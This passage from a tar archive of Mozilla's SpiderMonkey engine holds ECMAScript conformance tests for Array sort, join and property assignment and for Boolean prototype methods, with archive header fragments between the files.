v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.4.4.5-3.js ECMA Section: Array.prototype.sort(comparefn) Description: This is a regression test for http://scopus/bugsplat/show_bug.cgi?id=117144 Verify that sort is successfull, even if the sort compare function returns a very large negative or positive value. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.4.4.5-3"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Array.prototype.sort(comparefn)"; writeHeaderToLog( SECTION + " "+ TITLE); var array = new Array(); array[array.length] = new Date( TIME_2000 * Math.PI ); array[array.length] = new Date( TIME_2000 * 10 ); array[array.length] = new Date( TIME_1900 + TIME_1900 ); array[array.length] = new Date(0); array[array.length] = new Date( TIME_2000 ); array[array.length] = new Date( TIME_1900 + TIME_1900 +TIME_1900 ); array[array.length] = new Date( TIME_1900 * Math.PI ); array[array.length] = new Date( TIME_1900 * 10 ); array[array.length] = new Date( TIME_1900 ); array[array.length] = new Date( TIME_2000 + TIME_2000 ); array[array.length] = new Date( 1899, 0, 1 ); array[array.length] = new Date( 2000, 1, 29 ); array[array.length] = new Date( 2000, 0, 1 ); array[array.length] = new Date( 1999, 11, 31 ); var testarr1 = new Array(); clone( array, testarr1 ); testarr1.sort( comparefn1 ); var testarr2 = new Array(); clone( array, testarr2 ); testarr2.sort( comparefn2 ); testarr3 = new Array(); clone( array, testarr3 ); testarr3.sort( comparefn3 ); // when there's no sort function, sort sorts by the toString value of Date. var testarr4 = new Array(); clone( array, testarr4 ); testarr4.sort(); var realarr = new Array(); clone( array, realarr ); realarr.sort( realsort ); var stringarr = new Array(); clone( array, stringarr ); stringarr.sort( stringsort ); for ( var i = 0; i < array.length; i++) { new TestCase( SECTION, "testarr1["+i+"]", realarr[i], testarr1[i] ); } for ( var i=0; i < array.length; i++) { new TestCase( SECTION, "testarr2["+i+"]", realarr[i], testarr2[i] ); } for ( var i=0; i < array.length; i++) { new TestCase( SECTION, "testarr3["+i+"]", realarr[i], testarr3[i] ); } for ( var i=0; i < array.length; i++) { new TestCase( SECTION, "testarr4["+i+"]", stringarr[i].toString(), testarr4[i].toString() ); } test(); function comparefn1( x, y ) { return x - y; } function comparefn2( x, y ) { return x.valueOf() - y.valueOf(); } function realsort( x, y ) { return ( x.valueOf() == y.valueOf() ? 0 : ( x.valueOf() > y.valueOf() ? 1 : -1 ) ); } function comparefn3( x, y ) { return ( x == y ? 0 : ( x > y ? 1: -1 ) ); } function clone( source, target ) { for (i = 0; i < source.length; i++ ) { target[i] = source[i]; } } function stringsort( x, y ) { for ( var i = 0; i < x.toString().length; i++ ) { var d = (x.toString()).charCodeAt(i) - (y.toString()).charCodeAt(i); if ( d > 0 ) { return 1; } else { if ( d < 0 ) { return -1; } else { continue; } } var d = x.length - y.length; if ( d > 0 ) { return 1; } else { if ( d < 0 ) { return -1; } } } return 0; } mozjs17.0.0/js/src/tests/ecma/Array/15.4.5.1-2.js0000664000175000017500000000563012106270663020523 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.4.5.1-2.js ECMA Section: [[ Put]] (P, V) Description: Array objects use a variation of the [[Put]] method used for other native ECMAScript objects (section 8.6.2.2). Assume A is an Array object and P is a string. When the [[Put]] method of A is called with property P and value V, the following steps are taken: 1. Call the [[CanPut]] method of A with name P. 2. If Result(1) is false, return. 3. If A doesn't have a property with name P, go to step 7. 4. If P is "length", go to step 12. 5. Set the value of property P of A to V. 6. Go to step 8. 7. Create a property with name P, set its value to V and give it empty attributes. 8. If P is not an array index, return. 9. If A itself has a property (not an inherited property) named "length", andToUint32(P) is less than the value of the length property of A, then return. 10. Change (or set) the value of the length property of A to ToUint32(P)+1. 11. Return. 12. Compute ToUint32(V). 13. For every integer k that is less than the value of the length property of A but not less than Result(12), if A itself has a property (not an inherited property) named ToString(k), then delete that property. 14. Set the value of property P of A to Result(12). 15. Return. These are gTestcases from Waldemar, detailed in http://scopus.mcom.com/bugsplat/show_bug.cgi?id=123552 Author: christine@netscape.com Date: 15 June 1998 */ var SECTION = "15.4.5.1-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Array [[Put]] (P,V)"; writeHeaderToLog( SECTION + " "+ TITLE); var a = new Array(); AddCase( "3.00", "three" ); AddCase( "00010", "eight" ); AddCase( "37xyz", "thirty-five" ); AddCase("5000000000", 5) AddCase( "-2", -3 ); new TestCase( SECTION, "a[10]", void 0, a[10] ); new TestCase( SECTION, "a[3]", void 0, a[3] ); a[4] = "four"; new TestCase( SECTION, "a[4] = \"four\"; a[4]", "four", a[4] ); new TestCase( SECTION, "a[\"4\"]", "four", a["4"] ); new TestCase( SECTION, "a[\"4.00\"]", void 0, a["4.00"] ); new TestCase( SECTION, "a.length", 5, a.length ); a["5000000000"] = 5; new TestCase( SECTION, "a[\"5000000000\"] = 5; a.length", 5, a.length ); new TestCase( SECTION, "a[\"-2\"] = -3; a.length", 5, a.length ); test(); function AddCase ( arg, value ) { a[arg] = value; new TestCase( SECTION, "a[\"" + arg + "\"] = "+ value +"; a.length", 0, a.length ); } mozjs17.0.0/js/src/tests/ecma/Array/15.4.4.1.js0000664000175000017500000000155412106270663020364 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.4.4.1.js ECMA Section: 15.4.4.1 Array.prototype.constructor Description: The initial value of Array.prototype.constructor is the built-in Array constructor. Author: christine@netscape.com Date: 7 october 1997 */ var SECTION = "15.4.4.1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Array.prototype.constructor"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "Array.prototype.constructor == Array", true, Array.prototype.constructor == Array); test(); mozjs17.0.0/js/src/tests/ecma/Array/15.4.4.3-1.js0000664000175000017500000001224512106270663020523 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.4.4.3-1.js ECMA Section: 15.4.4.3-1 Array.prototype.join() Description: The elements of this object are converted to strings and these strings are then concatenated, separated by comma characters. The result is the same as if the built-in join method were invoiked for this object with no argument. Author: christine@netscape.com, pschwartau@netscape.com Date: 07 October 1997 Modified: 14 July 2002 Reason: See http://bugzilla.mozilla.org/show_bug.cgi?id=155285 ECMA-262 Ed.3 Section 15.4.4.5 Array.prototype.join() Step 3: If |separator| is |undefined|, let |separator| be the single-character string "," * */ var SECTION = "15.4.4.3-1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Array.prototype.join()"); var ARR_PROTOTYPE = Array.prototype; new TestCase( SECTION, "Array.prototype.join.length", 1, Array.prototype.join.length ); new TestCase( SECTION, "delete Array.prototype.join.length", false, delete Array.prototype.join.length ); new TestCase( SECTION, "delete Array.prototype.join.length; Array.prototype.join.length", 1, eval("delete Array.prototype.join.length; Array.prototype.join.length") ); // case where array length is 0 new TestCase( SECTION, "var TEST_ARRAY = new Array(); TEST_ARRAY.join()", "", eval("var TEST_ARRAY = new Array(); TEST_ARRAY.join()") ); // array length is 0, but spearator is specified new TestCase( SECTION, "var TEST_ARRAY = new Array(); TEST_ARRAY.join(' ')", "", eval("var TEST_ARRAY = new Array(); TEST_ARRAY.join(' ')") ); // length is greater than 0, separator is supplied new TestCase( SECTION, "var TEST_ARRAY = new Array(null, void 0, true, false, 123, new Object(), new Boolean(true) ); TEST_ARRAY.join('&')", "&&true&false&123&[object Object]&true", eval("var TEST_ARRAY = new Array(null, void 0, true, false, 123, new Object(), new Boolean(true) ); TEST_ARRAY.join('&')") ); // length is greater than 0, separator is empty string new TestCase( SECTION, "var TEST_ARRAY = new Array(null, void 0, true, false, 123, new Object(), new Boolean(true) ); TEST_ARRAY.join('')", "truefalse123[object Object]true", eval("var TEST_ARRAY = new Array(null, void 0, true, false, 123, new Object(), new Boolean(true) ); TEST_ARRAY.join('')") ); // length is greater than 0, separator is undefined new TestCase( SECTION, "var TEST_ARRAY = new Array(null, void 0, true, false, 123, new Object(), new Boolean(true) ); TEST_ARRAY.join(void 0)", ",,true,false,123,[object Object],true", eval("var TEST_ARRAY = new Array(null, void 0, true, false, 123, new Object(), new Boolean(true) ); TEST_ARRAY.join(void 0)") ); // length is greater than 0, separator is not supplied new TestCase( SECTION, "var TEST_ARRAY = new Array(null, void 0, true, false, 123, new Object(), new Boolean(true) ); TEST_ARRAY.join()", ",,true,false,123,[object Object],true", eval("var TEST_ARRAY = new Array(null, void 0, true, false, 123, new Object(), new Boolean(true) ); TEST_ARRAY.join()") ); // separator is a control character new TestCase( SECTION, "var TEST_ARRAY = new Array(null, void 0, true, false, 123, new Object(), new Boolean(true) ); TEST_ARRAY.join('\v')", decodeURIComponent("%0B%0Btrue%0Bfalse%0B123%0B[object Object]%0Btrue"), eval("var TEST_ARRAY = new Array(null, void 0, true, false, 123, new Object(), new Boolean(true) ); TEST_ARRAY.join('\v')") ); // length of array is 1 new TestCase( SECTION, "var TEST_ARRAY = new Array(true) ); TEST_ARRAY.join('\v')", "true", eval("var TEST_ARRAY = new Array(true); TEST_ARRAY.join('\v')") ); SEPARATOR = "\t" TEST_LENGTH = 100; TEST_STRING = ""; ARGUMENTS = ""; TEST_RESULT = ""; for ( var index = 0; index < TEST_LENGTH; index++ ) { ARGUMENTS += index; ARGUMENTS += ( index == TEST_LENGTH -1 ) ? "" : ","; TEST_RESULT += index; TEST_RESULT += ( index == TEST_LENGTH -1 ) ? "" : SEPARATOR; } TEST_ARRAY = eval( "new Array( "+ARGUMENTS +")" ); new TestCase( SECTION, "TEST_ARRAY.join("+SEPARATOR+")", TEST_RESULT, TEST_ARRAY.join( SEPARATOR ) ); new TestCase( SECTION, "(new Array( Boolean(true), Boolean(false), null, void 0, Number(1e+21), Number(1e-7))).join()", "true,false,,,1e+21,1e-7", (new Array( Boolean(true), Boolean(false), null, void 0, Number(1e+21), Number(1e-7))).join() ); // this is not an Array object new TestCase( SECTION, "var OB = new Object_1('true,false,111,0.5,1.23e6,NaN,void 0,null'); OB.join(':')", "true:false:111:0.5:1230000:NaN::", eval("var OB = new Object_1('true,false,111,0.5,1.23e6,NaN,void 0,null'); OB.join(':')") ); test(); function Object_1( value ) { this.array = value.split(","); this.length = this.array.length; for ( var i = 0; i < this.length; i++ ) { this[i] = eval(this.array[i]); } this.join = Array.prototype.join; this.getClass = Object.prototype.toString; } mozjs17.0.0/js/src/tests/ecma/Array/15.4.4.3-2.js0000664000175000017500000000161612106270663020524 0ustar sstanglsstanglvar arr = [0,1,,3,4]; Object.prototype[2] = 2; assertEq(arr.join(""), "01234"); assertEq(arr.join(","), "0,1,2,3,4"); arr[2] = "porkchops"; assertEq(arr.join("*"), "0*1*porkchops*3*4"); delete Object.prototype[2]; assertEq(arr.join("*"), "0*1*porkchops*3*4"); delete arr[2]; assertEq(arr.join("*"), "0*1**3*4"); Object.prototype[2] = null; assertEq(arr.join("*"), "0*1**3*4"); Object.prototype[2] = undefined; assertEq(arr.join("*"), "0*1**3*4"); arr[2] = null; assertEq(arr.join("*"), "0*1**3*4"); arr[2] = undefined; assertEq(arr.join("*"), "0*1**3*4"); var arr = new Array(10); assertEq(arr.join(""), ""); assertEq(arr.join(), ",,,,,,,,,"); assertEq(arr.join("|"), "|||||||||"); arr[2] = "doubt"; assertEq(arr.join(","), ",,doubt,,,,,,,"); arr[9] = "failure"; assertEq(arr.join(","), ",,doubt,,,,,,,failure"); delete arr[2]; assertEq(arr.join(","), ",,,,,,,,,failure"); reportCompare(true, true); mozjs17.0.0/js/src/tests/ecma/browser.js0000664000175000017500000000000012106270663020062 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/Boolean/0000775000175000017500000000000012106270663017432 5ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/Boolean/15.6.4.3.js0000664000175000017500000000537712106270663020700 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.6.4.3.js ECMA Section: 15.6.4.3 Boolean.prototype.valueOf() Description: Returns this boolean value. The valueOf function is not generic; it generates a runtime error if its this value is not a Boolean object. Therefore it cannot be transferred to other kinds of objects for use as a method. Author: christine@netscape.com Date: june 27, 1997 */ new TestCase( "15.8.6.4", "new Boolean(1)", true, (new Boolean(1)).valueOf() ); new TestCase( "15.8.6.4", "new Boolean(0)", false, (new Boolean(0)).valueOf() ); new TestCase( "15.8.6.4", "new Boolean(-1)", true, (new Boolean(-1)).valueOf() ); new TestCase( "15.8.6.4", "new Boolean('1')", true, (new Boolean("1")).valueOf() ); new TestCase( "15.8.6.4", "new Boolean('0')", true, (new Boolean("0")).valueOf() ); new TestCase( "15.8.6.4", "new Boolean(true)", true, (new Boolean(true)).valueOf() ); new TestCase( "15.8.6.4", "new Boolean(false)", false, (new Boolean(false)).valueOf() ); new TestCase( "15.8.6.4", "new Boolean('true')", true, (new Boolean("true")).valueOf() ); new TestCase( "15.8.6.4", "new Boolean('false')", true, (new Boolean('false')).valueOf() ); new TestCase( "15.8.6.4", "new Boolean('')", false, (new Boolean('')).valueOf() ); new TestCase( "15.8.6.4", "new Boolean(null)", false, (new Boolean(null)).valueOf() ); new TestCase( "15.8.6.4", "new Boolean(void(0))", false, (new Boolean(void(0))).valueOf() ); new TestCase( "15.8.6.4", "new Boolean(-Infinity)", true, (new Boolean(Number.NEGATIVE_INFINITY)).valueOf() ); new TestCase( "15.8.6.4", "new Boolean(NaN)", false, (new Boolean(Number.NaN)).valueOf() ); new TestCase( "15.8.6.4", "new Boolean()", false, (new Boolean()).valueOf() ); new TestCase( "15.8.6.4", "new Boolean(x=1)", true, (new Boolean(x=1)).valueOf() ); new TestCase( "15.8.6.4", "new Boolean(x=0)", false, (new Boolean(x=0)).valueOf() ); new TestCase( "15.8.6.4", "new Boolean(x=false)", false, (new Boolean(x=false)).valueOf() ); new TestCase( "15.8.6.4", "new Boolean(x=true)", true, (new Boolean(x=true)).valueOf() ); new TestCase( "15.8.6.4", "new Boolean(x=null)", false, (new Boolean(x=null)).valueOf() ); new TestCase( "15.8.6.4", "new Boolean(x='')", false, (new Boolean(x="")).valueOf() ); new TestCase( "15.8.6.4", "new Boolean(x=' ')", true, (new Boolean(x=" ")).valueOf() ); test(); mozjs17.0.0/js/src/tests/ecma/Boolean/15.6.3.1-2.js0000664000175000017500000000177712106270663021034 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.6.3.1-2.js ECMA Section: 15.6.3.1 Boolean.prototype Description: The initial valu eof Boolean.prototype is the built-in Boolean prototype object (15.6.4). The property shall have the attributes [DontEnum, DontDelete, ReadOnly ]. This tests the DontDelete property of Boolean.prototype Author: christine@netscape.com Date: june 27, 1997 */ var SECTION = "15.6.3.1-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Boolean.prototype" writeHeaderToLog( SECTION + TITLE ); var array = new Array(); var item = 0; new TestCase( SECTION, "delete( Boolean.prototype)", false, delete( Boolean.prototype) ); test(); mozjs17.0.0/js/src/tests/ecma/Boolean/15.6.3.1-1.js0000664000175000017500000000206212106270663021017 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.6.3.1-1.js ECMA Section: 15.6.3 Boolean.prototype Description: The initial value of Boolean.prototype is the built-in Boolean prototype object (15.6.4). The property shall have the attributes [DontEnum, DontDelete, ReadOnly ]. This tests the DontEnum property of Boolean.prototype Author: christine@netscape.com Date: june 27, 1997 */ var SECTION = "15.6.3.1-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Boolean.prototype"; writeHeaderToLog( SECTION + " "+ TITLE); var array = new Array(); var item = 0; new TestCase( SECTION, "var str='';for ( p in Boolean ) { str += p } str;", "", eval("var str='';for ( p in Boolean ) { str += p } str;") ); test(); mozjs17.0.0/js/src/tests/ecma/Boolean/shell.js0000664000175000017500000000000012106270663021065 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/Boolean/15.6.3.1-4.js0000664000175000017500000000261612106270663021027 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.6.3.1-4.js ECMA Section: 15.6.3.1 Properties of the Boolean Prototype Object Description: The initial value of Boolean.prototype is the built-in Boolean prototype object (15.6.4). The property shall have the attributes [DontEnum, DontDelete, ReadOnly ]. This tests the ReadOnly property of Boolean.prototype Author: christine@netscape.com Date: 30 september 1997 */ var SECTION = "15.6.3.1-4"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Boolean.prototype" writeHeaderToLog( SECTION + TITLE ); var BOOL_PROTO = Boolean.prototype; new TestCase( SECTION, "var BOOL_PROTO = Boolean.prototype; Boolean.prototype=null; Boolean.prototype == BOOL_PROTO", true, eval("var BOOL_PROTO = Boolean.prototype; Boolean.prototype=null; Boolean.prototype == BOOL_PROTO") ); new TestCase( SECTION, "var BOOL_PROTO = Boolean.prototype; Boolean.prototype=null; Boolean.prototype == null", false, eval("var BOOL_PROTO = Boolean.prototype; Boolean.prototype=null; Boolean.prototype == null") ); test(); mozjs17.0.0/js/src/tests/ecma/Boolean/15.6.4.2-4-n.js0000664000175000017500000000235412106270663021263 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.6.4.2-4.js ECMA Section: 15.6.4.2 Boolean.prototype.toString() Description: Returns this boolean value. The toString function is not generic; it generates a runtime error if its this value is not a Boolean object. Therefore it cannot be transferred to other kinds of objects for use as a method. Author: christine@netscape.com Date: june 27, 1997 */ var SECTION = "15.6.4.2-4-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Boolean.prototype.toString()"; writeHeaderToLog( SECTION +" "+ TITLE ); DESCRIPTION = "tostr=Boolean.prototype.toString; x=new String( 'hello' ); x.toString=tostr; x.toString()"; EXPECTED = "error"; new TestCase( SECTION, "tostr=Boolean.prototype.toString; x=new String( 'hello' ); x.toString=tostr; x.toString()", "error", eval("tostr=Boolean.prototype.toString; x=new String( 'hello' ); x.toString=tostr; x.toString()") ); test(); mozjs17.0.0/js/src/tests/ecma/Boolean/15.6.4-1.js0000664000175000017500000000300412106270663020656 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.6.4-1.js ECMA Section: 15.6.4 Properties of the Boolean Prototype Object Description: The Boolean prototype object is itself a Boolean object (its [[Class]] is "Boolean") whose value is false. The value of the internal [[Prototype]] property of the Boolean prototype object is the Object prototype object (15.2.3.1). Author: christine@netscape.com Date: 30 september 1997 */ var VERSION = "ECMA_1" startTest(); var SECTION = "15.6.4-1"; writeHeaderToLog( SECTION + " Properties of the Boolean Prototype Object"); new TestCase( SECTION, "typeof Boolean.prototype == typeof( new Boolean )", true, typeof Boolean.prototype == typeof( new Boolean ) ); new TestCase( SECTION, "typeof( Boolean.prototype )", "object", typeof(Boolean.prototype) ); new TestCase( SECTION, "Boolean.prototype.toString = Object.prototype.toString; Boolean.prototype.toString()", "[object Boolean]", eval("Boolean.prototype.toString = Object.prototype.toString; Boolean.prototype.toString()") ); new TestCase( SECTION, "Boolean.prototype.valueOf()", false, Boolean.prototype.valueOf() ); test(); mozjs17.0.0/js/src/tests/ecma/Boolean/15.6.4.2-2.js0000664000175000017500000000303712106270663021025 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.6.4.2-2.js ECMA Section: 15.6.4.2 Boolean.prototype.toString() Description: Returns this boolean value. The toString function is not generic; it generates a runtime error if its this value is not a Boolean object. Therefore it cannot be transferred to other kinds of objects for use as a method. Author: christine@netscape.com Date: june 27, 1997 */ var SECTION = "15.6.4.2-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Boolean.prototype.toString()" writeHeaderToLog( SECTION + TITLE ); new TestCase( SECTION, "tostr=Boolean.prototype.toString; x=new Boolean(); x.toString=tostr;x.toString()", "false", eval("tostr=Boolean.prototype.toString; x=new Boolean(); x.toString=tostr;x.toString()") ); new TestCase( SECTION, "tostr=Boolean.prototype.toString; x=new Boolean(true); x.toString=tostr; x.toString()", "true", eval("tostr=Boolean.prototype.toString; x=new Boolean(true); x.toString=tostr; x.toString()") ); new TestCase( SECTION, "tostr=Boolean.prototype.toString; x=new Boolean(false); x.toString=tostr;x.toString()", "false", eval("tostr=Boolean.prototype.toString; x=new Boolean(); x.toString=tostr;x.toString()") ); test(); mozjs17.0.0/js/src/tests/ecma/Boolean/15.6.4.3-1.js0000664000175000017500000000552412106270663021030 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.6.4.3.js ECMA Section: 15.6.4.3 Boolean.prototype.valueOf() Description: Returns this boolean value. The valueOf function is not generic; it generates a runtime error if its this value is not a Boolean object. Therefore it cannot be transferred to other kinds of objects for use as a method. Author: christine@netscape.com Date: june 27, 1997 */ var SECTION = "15.6.4.3-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Boolean.prototype.valueOf()"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "new Boolean(1)", true, (new Boolean(1)).valueOf() ); new TestCase( SECTION, "new Boolean(0)", false, (new Boolean(0)).valueOf() ); new TestCase( SECTION, "new Boolean(-1)", true, (new Boolean(-1)).valueOf() ); new TestCase( SECTION, "new Boolean('1')", true, (new Boolean("1")).valueOf() ); new TestCase( SECTION, "new Boolean('0')", true, (new Boolean("0")).valueOf() ); new TestCase( SECTION, "new Boolean(true)", true, (new Boolean(true)).valueOf() ); new TestCase( SECTION, "new Boolean(false)", false, (new Boolean(false)).valueOf() ); new TestCase( SECTION, "new Boolean('true')", true, (new Boolean("true")).valueOf() ); new TestCase( SECTION, "new Boolean('false')", true, (new Boolean('false')).valueOf() ); new TestCase( SECTION, "new Boolean('')", false, (new Boolean('')).valueOf() ); new TestCase( SECTION, "new Boolean(null)", false, (new Boolean(null)).valueOf() ); new TestCase( SECTION, "new Boolean(void(0))", false, (new Boolean(void(0))).valueOf() ); new TestCase( SECTION, "new Boolean(-Infinity)", true, (new Boolean(Number.NEGATIVE_INFINITY)).valueOf() ); new TestCase( SECTION, "new Boolean(NaN)", false, (new Boolean(Number.NaN)).valueOf() ); new TestCase( SECTION, "new Boolean()", false, (new Boolean()).valueOf() ); new TestCase( SECTION, "new Boolean(x=1)", true, (new Boolean(x=1)).valueOf() ); new TestCase( SECTION, "new Boolean(x=0)", false, (new Boolean(x=0)).valueOf() ); new TestCase( SECTION, "new Boolean(x=false)", false, (new Boolean(x=false)).valueOf() ); new TestCase( SECTION, "new Boolean(x=true)", true, (new Boolean(x=true)).valueOf() ); new TestCase( SECTION, "new Boolean(x=null)", false, (new Boolean(x=null)).valueOf() ); new TestCase( SECTION, "new Boolean(x='')", false, (new Boolean(x="")).valueOf() ); new TestCase( SECTION, "new Boolean(x=' ')", true, (new Boolean(x=" ")).valueOf() ); test(); mozjs17.0.0/js/src/tests/ecma/Boolean/15.6.4.3-2.js0000664000175000017500000000243212106270663021024 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.6.4.3-2.js ECMA Section: 15.6.4.3 Boolean.prototype.valueOf() Description: Returns this boolean value. The valueOf function is not generic; it generates a runtime error if its this value is not a Boolean object. Therefore it cannot be transferred to other kinds of objects for use as a method. Author: christine@netscape.com Date: june 27, 1997 */ var SECTION = "15.6.4.3-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Boolean.prototype.valueOf()"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "valof=Boolean.prototype.valueOf; x=new Boolean(); x.valueOf=valof;x.valueOf()", false, eval("valof=Boolean.prototype.valueOf; x=new Boolean(); x.valueOf=valof;x.valueOf()") ); new TestCase( SECTION, "valof=Boolean.prototype.valueOf; x=new Boolean(true); x.valueOf=valof;x.valueOf()", true, eval("valof=Boolean.prototype.valueOf; x=new Boolean(true); x.valueOf=valof;x.valueOf()") ); test(); mozjs17.0.0/js/src/tests/ecma/Boolean/15.6.3.1-3.js0000664000175000017500000000207112106270663021021 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.6.3.1-3.js ECMA Section: 15.6.3.1 Boolean.prototype Description: The initial valu eof Boolean.prototype is the built-in Boolean prototype object (15.6.4). The property shall have the attributes [DontEnum, DontDelete, ReadOnly ]. This tests the DontDelete property of Boolean.prototype Author: christine@netscape.com Date: june 27, 1997 */ var SECTION = "15.6.3.1-3"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Boolean.prototype" writeHeaderToLog( SECTION + TITLE ); var array = new Array(); var item = 0; new TestCase( SECTION, "delete( Boolean.prototype); Boolean.prototype", Boolean.prototype, eval("delete( Boolean.prototype); Boolean.prototype") ); test(); mozjs17.0.0/js/src/tests/ecma/Boolean/browser.js0000664000175000017500000000000012106270663021441 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/Boolean/15.6.4.1.js0000664000175000017500000000160112106270663020660 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.6.4.1.js ECMA Section: 15.6.4.1 Boolean.prototype.constructor Description: The initial value of Boolean.prototype.constructor is the built-in Boolean constructor. Author: christine@netscape.com Date: 30 september 1997 */ var SECTION = "15.6.4.1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Boolean.prototype.constructor" writeHeaderToLog( SECTION + TITLE ); new TestCase( SECTION, "( Boolean.prototype.constructor == Boolean )", true , (Boolean.prototype.constructor == Boolean) ); test(); mozjs17.0.0/js/src/tests/ecma/Boolean/15.6.4.2-3.js0000664000175000017500000000237312106270663021030 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.6.4.2-3.js ECMA Section: 15.6.4.2 Boolean.prototype.toString() Description: Returns this boolean value. The toString function is not generic; it generates a runtime error if its this value is not a Boolean object. Therefore it cannot be transferred to other kinds of objects for use as a method. Author: christine@netscape.com Date: june 27, 1997 */ var SECTION = "15.6.4.2-3"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Boolean.prototype.toString()" writeHeaderToLog( SECTION + TITLE ); new TestCase( SECTION, "tostr=Boolean.prototype.toString; x=true; x.toString=tostr;x.toString()", "true", eval("tostr=Boolean.prototype.toString; x=true; x.toString=tostr;x.toString()") ); new TestCase( SECTION, "tostr=Boolean.prototype.toString; x=false; x.toString=tostr;x.toString()", "false", eval("tostr=Boolean.prototype.toString; x=false; x.toString=tostr;x.toString()") ); test(); mozjs17.0.0/js/src/tests/ecma/Boolean/15.6.2.js0000664000175000017500000002222112106270663020520 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 